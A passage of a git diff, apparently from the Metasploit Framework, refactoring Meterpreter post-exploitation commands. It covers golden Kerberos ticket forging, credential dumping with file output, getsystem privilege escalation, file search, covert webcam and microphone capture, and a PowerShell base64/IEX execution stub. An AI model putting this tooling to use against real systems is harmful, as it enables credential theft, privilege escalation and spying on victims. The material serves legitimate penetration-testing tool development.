include (eg: 501,502)' ], + '-d' => [ true, 'Name of the target domain (FQDN)' ], + '-k' => [ true, 'krbtgt domain user NTLM hash' ], + '-t' => [ true, 'Local path of the file to store the ticket in' ], + '-s' => [ true, 'SID of the domain' ] ) # # Output the usage for the ticket listing functionality. # def golden_ticket_create_usage - print( - "\nUsage: golden_ticket_create [-h] -u -d -k -s -t [-i ] [-g ]\n\n" + - "Create a golden kerberos ticket that expires in 10 years time.\n\n" + - @@golden_ticket_create_opts.usage) + print_line('Usage: golden_ticket_create [options]') + print_line + print_line('Create a golden kerberos ticket that expires in 10 years time.') + print_line(@@golden_ticket_create_opts.usage) end # @@ -181,19 +180,19 @@ class Console::CommandDispatcher::Kiwi @@golden_ticket_create_opts.parse(args) { |opt, idx, val| case opt - when "-u" + when '-u' user = val - when "-d" + when '-d' domain = val - when "-k" + when '-k' tgt = val - when "-t" + when '-t' target = val - when "-i" + when '-i' id = val.to_i - when "-g" + when '-g' group_ids = val.split(',').map { |g| g.to_i }.to_a - when "-s" + when '-s' sid = val end } @@ -207,7 +206,7 @@ class Console::CommandDispatcher::Kiwi ticket = client.kiwi.golden_ticket_create(user, domain, sid, tgt, id, group_ids) ::File.open( target, 'wb' ) do |f| - f.write ticket + f.write(ticket) end print_good("Golden Kerberos ticket written to #{target}") @@ -217,26 +216,26 @@ class Console::CommandDispatcher::Kiwi # Valid options for the ticket listing functionality. # @@kerberos_ticket_list_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner" ], - "-e" => [ false, "Export Kerberos tickets to disk" ], - "-p" => [ true, "Path to export Kerberos tickets to" ] + '-h' => [ false, 'Help banner' ], + '-e' => [ false, 'Export Kerberos tickets to disk' ], + '-p' => [ true, 'Path to export Kerberos tickets to' ] ) # # Output the usage for the ticket listing functionality. # def kerberos_ticket_list_usage - print( - "\nUsage: kerberos_ticket_list [-h] [-e ] [-p ]\n\n" + - "List all the available Kerberos tickets.\n\n" + - @@kerberos_ticket_list_opts.usage) + print_line('Usage: kerberos_ticket_list [options]') + print_line + print_line('List all the available Kerberos tickets.') + print_line(@@kerberos_ticket_list_opts.usage) end # # Invoke the kerberos ticket listing functionality on the target machine. # def cmd_kerberos_ticket_list(*args) - if args.include?("-h") + if args.include?('-h') kerberos_ticket_list_usage return end @@ -244,13 +243,13 @@ class Console::CommandDispatcher::Kiwi # default to not exporting export = false # default to the current folder for dumping tickets - export_path = "." + export_path = '.' @@kerberos_ticket_list_opts.parse(args) { |opt, idx, val| case opt - when "-e" + when '-e' export = true - when "-p" + when '-p' export_path = val end } @@ -261,7 +260,7 @@ class Console::CommandDispatcher::Kiwi fields << 'Export Path' if export table = Rex::Ui::Text::Table.new( - 'Header' => "Kerberos Tickets", + 'Header' => 'Kerberos Tickets', 'Indent' => 0, 'SortIndex' => 0, 'Columns' => fields @@ -280,7 +279,7 @@ class Console::CommandDispatcher::Kiwi # write out each ticket to disk if export is enabled. if export - path = "" + path = '' if t[:raw] id = "#{values[0]}-#{values[1]}".gsub(/[\\\/\$ ]/, '-') file = "kerb-#{id}-#{Rex::Text.rand_text_alpha(8)}.tkt" @@ -305,7 +304,7 @@ class Console::CommandDispatcher::Kiwi # def cmd_kerberos_ticket_purge(*args) client.kiwi.kerberos_ticket_purge - print_good("Kerberos tickets purged") + print_good('Kerberos tickets purged') end # @@ -313,7 +312,7 @@ class Console::CommandDispatcher::Kiwi # def cmd_kerberos_ticket_use(*args) if args.length != 1 - print_line("Usage: kerberos_ticket_use ticketpath") + print_line('Usage: kerberos_ticket_use ticketpath') return end @@ -325,25 +324,13 @@ class Console::CommandDispatcher::Kiwi print_status("Using Kerberos ticket stored in #{target}, #{ticket.length} bytes") client.kiwi.kerberos_ticket_use(ticket) - print_good("Kerberos ticket applied successfully") - end - - def wifi_list_usage - print( - "\nUsage: wifi_list\n\n" + - "List WiFi interfaces, profiles and passwords.\n\n") + print_good('Kerberos ticket applied successfully') end # # Dump all the wifi profiles/credentials # def cmd_wifi_list(*args) - # if any arguments are specified, then fire up a usage message - if args.length > 0 - wifi_list_usage - return - end - results = client.kiwi.wifi_list if results.length > 0 @@ -362,24 +349,39 @@ class Console::CommandDispatcher::Kiwi table << [p[:name], p[:auth], p[:key_type], p[:shared_key]] end - print_line table.to_s - print_line "State: #{r[:state]}" + print_line(table.to_s) + print_line("State: #{r[:state]}") end else print_line - print_error("No wireless profiles found on the target.") + print_error('No wireless profiles found on the target.') end print_line return true end + @@creds_opts = Rex::Parser::Arguments.new( + '-o' => [ true, 'Write the output to the specified file.' ], + '-h' => [ false, 'Help menu.' ] + ) + + # + # Displays information about the various creds commands + # + def cmd_creds_usage(provider) + print_line("Usage: creds_#{provider} [options]") + print_line + print_line("Dump #{provider} credentials.") + print_line(@@creds_opts.usage) + end + # # Dump all the possible credentials to screen. # def cmd_creds_all(*args) method = Proc.new { client.kiwi.all_pass } - scrape_passwords("all", method) + scrape_passwords('all', method, args) end # @@ -387,7 +389,7 @@ class Console::CommandDispatcher::Kiwi # def cmd_creds_wdigest(*args) method = Proc.new { client.kiwi.wdigest } - scrape_passwords("wdigest", method) + scrape_passwords('wdigest', method, args) end # @@ -395,7 +397,7 @@ class Console::CommandDispatcher::Kiwi # def cmd_creds_msv(*args) method = Proc.new { client.kiwi.msv } - scrape_passwords("msv", method) + scrape_passwords('msv', method, args) end # @@ -403,7 +405,7 @@ class Console::CommandDispatcher::Kiwi # def cmd_creds_livessp(*args) method = Proc.new { client.kiwi.livessp } - scrape_passwords("livessp", method) + scrape_passwords('livessp', method, args) end # @@ -411,7 +413,7 @@ class Console::CommandDispatcher::Kiwi # def cmd_creds_ssp(*args) method = Proc.new { client.kiwi.ssp } - scrape_passwords("ssp", method) + scrape_passwords('ssp', method, args) end # @@ -419,7 +421,7 @@ class Console::CommandDispatcher::Kiwi # def cmd_creds_tspkg(*args) method = Proc.new { client.kiwi.tspkg } - scrape_passwords("tspkg", method) + scrape_passwords('tspkg', method, args) end # @@ -427,22 +429,22 @@ class Console::CommandDispatcher::Kiwi # def cmd_creds_kerberos(*args) method = Proc.new { client.kiwi.kerberos } - scrape_passwords("kerberos", method) + scrape_passwords('kerberos', method, args) end protected def check_privs if system_check - print_good("Running as SYSTEM") + print_good('Running as SYSTEM') else - print_warning("Not running as SYSTEM, execution may fail") + print_warning('Not running as SYSTEM, execution may fail') end end def system_check - unless (client.sys.config.getuid == "NT AUTHORITY\\SYSTEM") - print_warning("Not currently running as SYSTEM") + unless client.sys.config.is_system? + print_warning('Not currently running as SYSTEM') return false end @@ -459,7 +461,12 @@ protected # Meterpreter that lay in the house that Jack built. # # @return [void] - def scrape_passwords(provider, method) + def scrape_passwords(provider, method, args) + if args.include?('-h') + cmd_creds_usage(provider) + return + end + check_privs print_status("Retrieving #{provider} credentials") accounts = method.call @@ -468,24 +475,40 @@ protected 'Header' => "#{provider} credentials", 'Indent' => 0, 'SortIndex' => 0, - 'Columns' => - [ - 'Domain', 'User', 'Password', 'Auth Id', 'LM Hash', 'NTLM Hash' + 'Columns' => [ + 'Domain', 'User', 'Password', 'LM Hash', 'NTLM Hash' ] ) accounts.each do |acc| table << [ - acc[:domain] || "", - acc[:username] || "", - acc[:password] || "", - "#{acc[:auth_hi]} ; #{acc[:auth_lo]}", - to_hex(acc[:lm] || ""), - to_hex(acc[:ntlm] || "") + acc[:domain] || '', + acc[:username] || '', + acc[:password] || '', + to_hex(acc[:lm]), + to_hex(acc[:ntlm]) ] end - print_line table.to_s + output = table.to_s + print_line(output) + + # determine if a target file path was passed in + file_index = args.index('-o') + unless file_index.nil? + if args.length > file_index + 1 + # try to write the file to disk + begin + ::File.write(args[file_index + 1], output) + print_good("Output written to #{args[file_index + 1]}") + rescue + print_error("Unable to write to #{args[file_index + 1]}") + end + else + print_error('Missing file path for -o parameter') + end + end + return true end @@ -496,8 +519,7 @@ protected # @param (see Rex::Text.to_hex) # @return [String] The result of {Rex::Text.to_hex}, strip'd def to_hex(value, sep = '') - value ||= "" - Rex::Text.to_hex(value, sep).strip + Rex::Text.to_hex(value || '', sep).strip end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb index 19c606f42f..18172d0416 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb @@ -17,17 +17,20 @@ class Console::CommandDispatcher::Priv::Elevate include Console::CommandDispatcher - ELEVATE_TECHNIQUE_NONE = -1 - ELEVATE_TECHNIQUE_ANY = 0 - ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE = 1 - ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 = 2 - ELEVATE_TECHNIQUE_SERVICE_TOKENDUP = 3 + ELEVATE_TECHNIQUE_NONE = -1 + ELEVATE_TECHNIQUE_ANY = 0 + ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE = 1 + ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 = 2 + ELEVATE_TECHNIQUE_SERVICE_TOKENDUP = 3 + + ELEVATE_TECHNIQUE_DESCRIPTION = + [ + "All techniques available", + "Named Pipe Impersonation (In Memory/Admin)", + "Named Pipe Impersonation (Dropper/Admin)", + "Token Duplication (In Memory/Admin)" + ] - ELEVATE_TECHNIQUE_DESCRIPTION = [ "All techniques available", - "Service - Named Pipe Impersonation (In Memory/Admin)", - "Service - Named Pipe Impersonation (Dropper/Admin)", - "Service - Token Duplication (In Memory/Admin)" - ] # # List of supported commands. # @@ -45,6 +48,25 @@ class Console::CommandDispatcher::Priv::Elevate end + # + # Returns the description of the technique(s) + # + def translate_technique_index(index) + translation = '' + + case index + when 0 + desc = ELEVATE_TECHNIQUE_DESCRIPTION.dup + desc.shift + translation = desc + else + translation = [ ELEVATE_TECHNIQUE_DESCRIPTION[index] ] + end + + translation + end + + # # Attempt to elevate the meterpreter to that of local system. # @@ -73,17 +95,29 @@ class Console::CommandDispatcher::Priv::Elevate } if( technique < 0 or technique >= ELEVATE_TECHNIQUE_DESCRIPTION.length ) - print_error( "Technique '#{technique}' is out of range." ); + print_error( "Technique '#{technique}' is out of range." ) return false; end - result = client.priv.getsystem( technique ) + begin + result = client.priv.getsystem( technique ) + rescue Rex::Post::Meterpreter::RequestError => e + print_error("#{e.message} The following was attempted:") + translate_technique_index(technique).each do |desc| + print_error(desc) + end + elog("#{e.class} #{e.message} (Technique: #{technique})\n#{e.backtrace * "\n"}") + return + end # got system? if result[0] - print_line( "...got system (via technique #{result[1]})." ); + print_line( "...got system via technique #{result[1]} (#{translate_technique_index(result[1]).first})." ) else - print_line( "...failed to get system." ); + print_line( "...failed to get system while attempting the following:" ) + translate_technique_index(technique).each do |desc| + print_error(desc) + end end return result diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb index 3b05a90acf..038e35a54d 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb @@ -114,50 +114,54 @@ class Console::CommandDispatcher::Stdapi::Fs def cmd_search(*args) root = nil - glob = nil recurse = true + globs = [] + files = [] opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner." ], "-d" => [ true, "The directory/drive to begin searching from. Leave empty to search all drives. (Default: #{root})" ], - "-f" => [ true, "The file pattern glob to search for. (e.g. *secret*.doc?)" ], + "-f" => [ true, "A file pattern glob to search for. (e.g. *secret*.doc?)" ], "-r" => [ true, "Recursivly search sub directories. (Default: #{recurse})" ] ) opts.parse(args) { | opt, idx, val | case opt when "-h" - print_line("Usage: search [-d dir] [-r recurse] -f pattern") + print_line("Usage: search [-d dir] [-r recurse] -f pattern [-f pattern]...") print_line("Search for files.") print_line(opts.usage) return when "-d" root = val when "-f" - glob = val + globs << val when "-r" recurse = false if val =~ /^(f|n|0)/i end } - if not glob + if globs.empty? print_error("You must specify a valid file glob to search for, e.g. >search -f *.doc") return end - files = client.fs.file.search(root, glob, recurse) + globs.uniq.each do |glob| + files += client.fs.file.search(root, glob, recurse) + end - if not files.empty? - print_line("Found #{files.length} result#{ files.length > 1 ? 's' : '' }...") - files.each do | file | - if file['size'] > 0 - print(" #{file['path']}#{ file['path'].empty? ? '' : '\\' }#{file['name']} (#{file['size']} bytes)\n") - else - print(" #{file['path']}#{ file['path'].empty? ? '' : '\\' }#{file['name']}\n") - end - end - else + if files.empty? print_line("No files matching your search were found.") + return + end + + print_line("Found #{files.length} result#{ files.length > 1 ? 's' : '' }...") + files.each do | file | + if file['size'] > 0 + print(" #{file['path']}#{ file['path'].empty? ? '' : '\\' }#{file['name']} (#{file['size']} bytes)\n") + else + print(" #{file['path']}#{ file['path'].empty? ? '' : '\\' }#{file['name']}\n") + end end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb index 534c1f4172..3e1668e6c7 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb @@ -422,6 +422,11 @@ class Console::CommandDispatcher::Stdapi::Sys # Lists running processes. # def cmd_ps(*args) + if args.include?('-h') + cmd_ps_help + return true + end + # Init vars processes = client.sys.process.get_processes search_term = nil @@ -429,20 +434,12 @@ class Console::CommandDispatcher::Stdapi::Sys # Parse opts @@ps_opts.parse(args) { |opt, idx, val| case opt - when '-S' - search_term = val - if search_term.nil? - print_error("Enter a search term") - return true - end - when '-h' - print_line "Usage: ps [ options ]" - print_line - print_line "OPTIONS:" - print_line " -S Search string to filter by" - print_line " -h This help menu" - print_line - return 0 + when '-S' + search_term = val + if search_term.nil? + print_error("Enter a search term") + return true + end when "-A" print_line "Filtering on arch..." searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new @@ -452,14 +449,14 @@ class Console::CommandDispatcher::Stdapi::Sys print_line "You must select either x86 or x86_64" return false end - searched_procs << proc if proc["arch"] == val + searched_procs << proc if proc["arch"] == val end processes = searched_procs when "-s" print_line "Filtering on SYSTEM processes..." searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new processes.each do |proc| - searched_procs << proc if proc["user"] == "NT AUTHORITY\\SYSTEM" + searched_procs << proc if proc["user"] == "NT AUTHORITY\\SYSTEM" end processes = searched_procs when "-U" @@ -470,54 +467,25 @@ class Console::CommandDispatcher::Stdapi::Sys print_line "You must supply a search term!" return false end - searched_procs << proc if proc["user"].match(/#{val}/) + searched_procs << proc if proc["user"].match(/#{val}/) end processes = searched_procs end } - tbl = Rex::Ui::Text::Table.new( - 'Header' => "Process list", - 'Indent' => 1, - 'Columns' => - [ - "PID", - "Name", - "Arch", - "Session", - "User", - "Path" - ], - 'SearchTerm' => search_term) - - processes.each { |ent| - - session = ent['session'] == 0xFFFFFFFF ? '' : ent['session'].to_s - arch = ent['arch'] - - # for display and consistency with payload naming we switch the internal 'x86_64' value to display 'x64' - if( arch == ARCH_X86_64 ) - arch = "x64" - end - - row = [ ent['pid'].to_s, ent['name'], arch, session, ent['user'], ent['path'] ] - - tbl << row #if (search_term.nil? or row.join(' ').to_s.match(search_term)) - - - } - if (processes.length == 0) print_line("No running processes were found.") else + tbl = processes.to_table('SearchTerm' => search_term) print_line - print("\n" + tbl.to_s + "\n") - print_line + print_line(tbl.to_s) end return true end def cmd_ps_help + print_line "Usage: ps [ options ]" + print_line print_line "Use the command with no arguments to see all running processes." print_line "The following options can be used to filter those results:" diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb index 6ac989c899..447097cd2b 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb @@ -12,7 +12,6 @@ module Ui # ### class Console::CommandDispatcher::Stdapi::Webcam - Klass = Console::CommandDispatcher::Stdapi::Webcam include Console::CommandDispatcher @@ -33,17 +32,16 @@ class Console::CommandDispatcher::Stdapi::Webcam "webcam_list" => [ "webcam_list" ], "webcam_snap" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ], "webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ], - "record_mic" => [ "webcam_audio_record" ], + "record_mic" => [ "webcam_audio_record" ] } - all.delete_if do |cmd, desc| + all.delete_if do |cmd, _desc| del = false reqs[cmd].each do |req| next if client.commands.include? req del = true break end - del end @@ -58,23 +56,26 @@ class Console::CommandDispatcher::Stdapi::Webcam end def cmd_webcam_list - begin - client.webcam.webcam_list.each_with_index { |name, indx| - print_line("#{indx + 1}: #{name}") - } - return true - rescue + if client.webcam.webcam_list.length == 0 print_error("No webcams were found") - return false + return + end + + client.webcam.webcam_list.each_with_index do |name, indx| + print_line("#{indx + 1}: #{name}") end end def cmd_webcam_snap(*args) + if client.webcam.webcam_list.length == 0 + print_error("Target does not have a webcam") + return + end + path = Rex::Text.rand_text_alpha(8) + ".jpeg" quality = 50 view = true index = 1 - wc_list = [] webcam_snap_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner" ], @@ -84,51 +85,44 @@ class Console::CommandDispatcher::Stdapi::Webcam "-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ] ) - webcam_snap_opts.parse( args ) { | opt, idx, val | + webcam_snap_opts.parse(args) do |opt, _idx, val| case opt - when "-h" - print_line( "Usage: webcam_snap [options]\n" ) - print_line( "Grab a frame from the specified webcam." ) - print_line( webcam_snap_opts.usage ) - return - when "-i" - index = val.to_i - when "-q" - quality = val.to_i - when "-p" - path = val - when "-v" - view = false if ( val =~ /^(f|n|0)/i ) + when "-h" + print_line("Usage: webcam_snap [options]\n") + print_line("Grab a frame from the specified webcam.") + print_line(webcam_snap_opts.usage) + return + when "-i" + index = val.to_i + when "-q" + quality = val.to_i + when "-p" + path = val + when "-v" + view = false if val =~ /^(f|n|0)/i end - } - begin - wc_list << client.webcam.webcam_list - rescue end - if wc_list.length > 0 - begin - print_status("Starting...") - client.webcam.webcam_start(index) - data = client.webcam.webcam_get_frame(quality) - print_good("Got frame") - ensure - client.webcam.webcam_stop - print_status("Stopped") - end - if( data ) - ::File.open( path, 'wb' ) do |fd| - fd.write( data ) - end - path = ::File.expand_path( path ) - print_line( "Webcam shot saved to: #{path}" ) - Rex::Compat.open_file( path ) if view - end - return true - else - print_error("No webcams where found") - return false + begin + print_status("Starting...") + client.webcam.webcam_start(index) + webcam_started = true + data = client.webcam.webcam_get_frame(quality) + print_good("Got frame") + ensure + client.webcam.webcam_stop if webcam_started + print_status("Stopped") end + + if data + ::File.open(path, 'wb') do |fd| + fd.write(data) + end + path = ::File.expand_path(path) + print_line("Webcam shot saved to: #{path}") + Rex::Compat.open_file(path) if view + end + true end def cmd_webcam_chat(*args) @@ -144,39 +138,42 @@ class Console::CommandDispatcher::Stdapi::Webcam "-s" => [ false, "WebSocket server" ] ) - webcam_chat_opts.parse( args ) { | opt, idx, val | + webcam_chat_opts.parse(args) do |opt, _idx, val| case opt - when "-h" - print_line( "Usage: webcam_chat [options]\n" ) - print_line( "Starts a video conversation with your target." ) - print_line( "Browser Requirements:") - print_line( "Chrome: version 23 or newer" ) - print_line( "Firefox: version 22 or newer" ) - print_line( webcam_chat_opts.usage ) - return - when "-s" - server = val.to_s + when "-h" + print_line("Usage: webcam_chat [options]\n") + print_line("Starts a video conversation with your target.") + print_line("Browser Requirements:") + print_line("Chrome: version 23 or newer") + print_line("Firefox: version 22 or newer") + print_line(webcam_chat_opts.usage) + return + when "-s" + server = val.to_s end - } - + end begin print_status("Webcam chat session initialized.") client.webcam.webcam_chat(server) - rescue RuntimeError => e + rescue RuntimeError => e print_error(e.message) end end def cmd_webcam_stream(*args) + if client.webcam.webcam_list.length == 0 + print_error("Target does not have a webcam") + return + end + print_status("Starting...") - stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg" + stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg" player_path = Rex::Text.rand_text_alpha(8) + ".html" duration = 1800 quality = 50 view = true index = 1 - wc_list = [] webcam_snap_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner" ], @@ -188,30 +185,30 @@ class Console::CommandDispatcher::Stdapi::Webcam "-v" => [ true, "Automatically view the stream (Default: '#{view}')" ] ) - webcam_snap_opts.parse( args ) { | opt, idx, val | + webcam_snap_opts.parse(args) do |opt, _idx, val| case opt - when "-h" - print_line( "Usage: webcam_stream [options]\n" ) - print_line( "Stream from the specified webcam." ) - print_line( webcam_snap_opts.usage ) - return - when "-d" - duration = val.to_i - when "-i" - index = val.to_i - when "-q" - quality = val.to_i - when "-s" - stream_path = val - when "-t" - player_path = val - when "-v" - view = false if ( val =~ /^(f|n|0)/i ) + when "-h" + print_line("Usage: webcam_stream [options]\n") + print_line("Stream from the specified webcam.") + print_line(webcam_snap_opts.usage) + return + when "-d" + duration = val.to_i + when "-i" + index = val.to_i + when "-q" + quality = val.to_i + when "-s" + stream_path = val + when "-t" + player_path = val + when "-v" + view = false if val =~ /^(f|n|0)/i end - } + end print_status("Preparing player...") - html = %Q| + html = %| @@ -264,7 +261,7 @@ Status : end if view print_status("Opening player at: #{player_path}") - Rex::Compat.open_file(player_path) + Rex::Compat.open_file(player_path) else print_status("Please open the player manually with a browser: #{player_path}") end @@ -272,72 +269,70 @@ Status : print_status("Streaming...") begin client.webcam.webcam_start(index) - ::Timeout.timeout(duration) { + webcam_started = true + ::Timeout.timeout(duration) do while client do data = client.webcam.webcam_get_frame(quality) if data ::File.open(stream_path, 'wb') do |f| - f.write(data) + f.write(data) end data = nil end end - } + end rescue ::Timeout::Error ensure - client.webcam.webcam_stop + client.webcam.webcam_stop if webcam_started end print_status("Stopped") end def cmd_record_mic(*args) - path = Rex::Text.rand_text_alpha(8) + ".wav" - play = true - duration = 1 + path = Rex::Text.rand_text_alpha(8) + ".wav" + play = true + duration = 1 record_mic_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner" ], "-d" => [ true, "Number of seconds to record (Default: 1)" ], - "-f" => [ true, "The wav file path (Default: '#{::File.expand_path( "[randomname].wav" )}')" ], + "-f" => [ true, "The wav file path (Default: '#{::File.expand_path('[randomname].wav')}')" ], "-p" => [ true, "Automatically play the captured audio (Default: '#{play}')" ] ) - record_mic_opts.parse( args ) { | opt, idx, val | + record_mic_opts.parse(args) do |opt, _idx, val| case opt - when "-h" - print_line( "Usage: record_mic [options]\n" ) - print_line( "Records audio from the default microphone." ) - print_line( record_mic_opts.usage ) - return - when "-d" - duration = val.to_i - when "-f" - path = val - when "-p" - play = false if ( val =~ /^(f|n|0)/i ) + when "-h" + print_line("Usage: record_mic [options]\n") + print_line("Records audio from the default microphone.") + print_line(record_mic_opts.usage) + return + when "-d" + duration = val.to_i + when "-f" + path = val + when "-p" + play = false if val =~ /^(f|n|0)/i end - } + end print_status("Starting...") data = client.webcam.record_mic(duration) print_status("Stopped") - if( data ) - ::File.open( path, 'wb' ) do |fd| - fd.write( data ) + if data + ::File.open(path, 'wb') do |fd| + fd.write(data) end - path = ::File.expand_path( path ) - print_line( "Audio saved to: #{path}" ) - Rex::Compat.play_sound( path ) if play + path = ::File.expand_path(path) + print_line("Audio saved to: #{path}") + Rex::Compat.play_sound(path) if play end - return true + true end - -end - end end end end - +end diff --git a/lib/rex/post/meterpreter/ui/console/interactive_channel.rb b/lib/rex/post/meterpreter/ui/console/interactive_channel.rb index 17be4acffb..0ef94b598d 100644 --- a/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +++ b/lib/rex/post/meterpreter/ui/console/interactive_channel.rb @@ -81,6 +81,7 @@ module Console::InteractiveChannel data = self.lsock.sysread(16384) self.on_print_proc.call(data.strip) if self.on_print_proc + self.on_log_proc.call(data.strip) if self.on_log_proc user_output.print(data) end @@ -91,6 +92,8 @@ module Console::InteractiveChannel self.lsock end + attr_accessor :on_log_proc + end end diff --git a/lib/rex/powershell.rb b/lib/rex/powershell.rb index a8df5a5c3c..ad200d86c6 100644 --- a/lib/rex/powershell.rb +++ b/lib/rex/powershell.rb @@ -13,7 +13,7 @@ require 'rex/powershell/command' module Rex module Powershell # - # Reads script into a PowershellScript + # Reads script into a Powershell::Script # # @param script_path [String] Path to the Script File # diff --git a/lib/rex/powershell/command.rb b/lib/rex/powershell/command.rb index f241387482..8e42f11a2d 100644 --- a/lib/rex/powershell/command.rb +++ b/lib/rex/powershell/command.rb @@ -15,14 +15,14 @@ module Command # @option opts [Bool] :sub_funcs Substitute function names # # @return [String] Encoded script - def self.encode_script(script_in, opts={}) + def self.encode_script(script_in, eof=nil, opts={}) # Build script object psh = Rex::Powershell::Script.new(script_in) psh.strip_comments if opts[:strip_comments] psh.strip_whitespace if opts[:strip_whitespace] psh.sub_vars if opts[:sub_vars] psh.sub_funcs if opts[:sub_funcs] - psh.encode_code + psh.encode_code(eof) end # diff --git a/lib/rex/powershell/output.rb b/lib/rex/powershell/output.rb index c004697116..9289162b35 100644 --- a/lib/rex/powershell/output.rb +++ b/lib/rex/powershell/output.rb @@ -52,7 +52,7 @@ module Powershell # Build the powershell expression # Decode base64 encoded command and create a stream object - psh_expression = '$s=New-Object IO.MemoryStream(,' + psh_expression = "$s=New-Object IO.MemoryStream(," psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));" # Read & delete the first two bytes due to incompatibility with MS psh_expression << '$s.ReadByte();' @@ -75,10 +75,18 @@ module Powershell # Return Base64 encoded powershell code # # @return [String] Base64 encoded powershell code - def encode_code + def encode_code(eof = nil) @code = Rex::Text.encode_base64(Rex::Text.to_unicode(code)) end + # + # Return ASCII powershell code from base64/unicode + # + # @return [String] ASCII powershell code + def decode_code + @code = Rex::Text.to_ascii(Rex::Text.decode_base64(code)) + end + # # Return a gzip compressed powershell code wrapped in decoder stub # @@ -95,7 +103,7 @@ module Powershell # Build the powershell expression # Decode base64 encoded command and create a stream object - psh_expression = '$s=New-Object IO.MemoryStream(,' + psh_expression = "$s=New-Object IO.MemoryStream(," psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));" # Uncompress and invoke the expression (execute) psh_expression << 'IEX (New-Object IO.StreamReader(' diff --git a/lib/rex/powershell/script.rb b/lib/rex/powershell/script.rb index cfde3bb887..26464b84ab 100644 --- a/lib/rex/powershell/script.rb +++ b/lib/rex/powershell/script.rb @@ -18,7 +18,7 @@ module Powershell # eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}| def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s, :!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub, :dump, :match, :to_sym, - :enum_for, :display, :tr_s!, :freeze, :gsub, :split, :rindex, :<<, :<=>, :+, :lstrip!, + :enum_for, :display, :tr_s!, :freeze, :gsub!, :split, :rindex, :<<, :<=>, :+, :lstrip!, :encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase, :each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=, :!, :count, :slice, :clone, :chop!, :prepend, :succ!, :upcase, :include?, :frozen?, @@ -37,7 +37,7 @@ module Powershell begin # Open code file for reading - fd = ::File.new(code, 'rb') + fd = ::File.new(code || '', 'rb') while (line = fd.gets) @code << line end diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index d15a999777..3af1e4080d 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -58,7 +58,6 @@ class Client 'method_random_case' => 'bool', 'version_random_valid' => 'bool', 'version_random_invalid' => 'bool', - 'version_random_case' => 'bool', 'uri_dir_self_reference' => 'bool', 'uri_dir_fake_relative' => 'bool', 'uri_use_backslashes' => 'bool', @@ -586,8 +585,8 @@ class Client begin - buff = conn.get_once(-1, 1) - rv = resp.parse( buff || '' ) + buff = conn.get_once(resp.max_data, 1) + rv = resp.parse(buff || '') # Handle unexpected disconnects rescue ::Errno::EPIPE, ::EOFError, ::IOError diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index e2d425c6c9..a048138269 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -52,7 +52,6 @@ class ClientRequest 'method_random_case' => false, # bool 'version_random_valid' => false, # bool 'version_random_invalid' => false, # bool - 'version_random_case' => false, # bool 'uri_dir_self_reference' => false, # bool 'uri_dir_fake_relative' => false, # bool 'uri_use_backslashes' => false, # bool @@ -344,10 +343,6 @@ class ClientRequest ret = Rex::Text.rand_text_alphanumeric(rand(20)+1) end - if (opts['version_random_case']) - ret = Rex::Text.to_rand_case(ret) - end - ret << "\r\n" end diff --git a/lib/rex/proto/ipmi/utils.rb b/lib/rex/proto/ipmi/utils.rb index d86df13bd5..5848a9fde9 100644 --- a/lib/rex/proto/ipmi/utils.rb +++ b/lib/rex/proto/ipmi/utils.rb @@ -15,8 +15,8 @@ class Utils def self.create_ipmi_getchannel_probe [ # Get Channel Authentication Capabilities 0x06, 0x00, 0xff, 0x07, # RMCP Header - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x20, 0x18, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 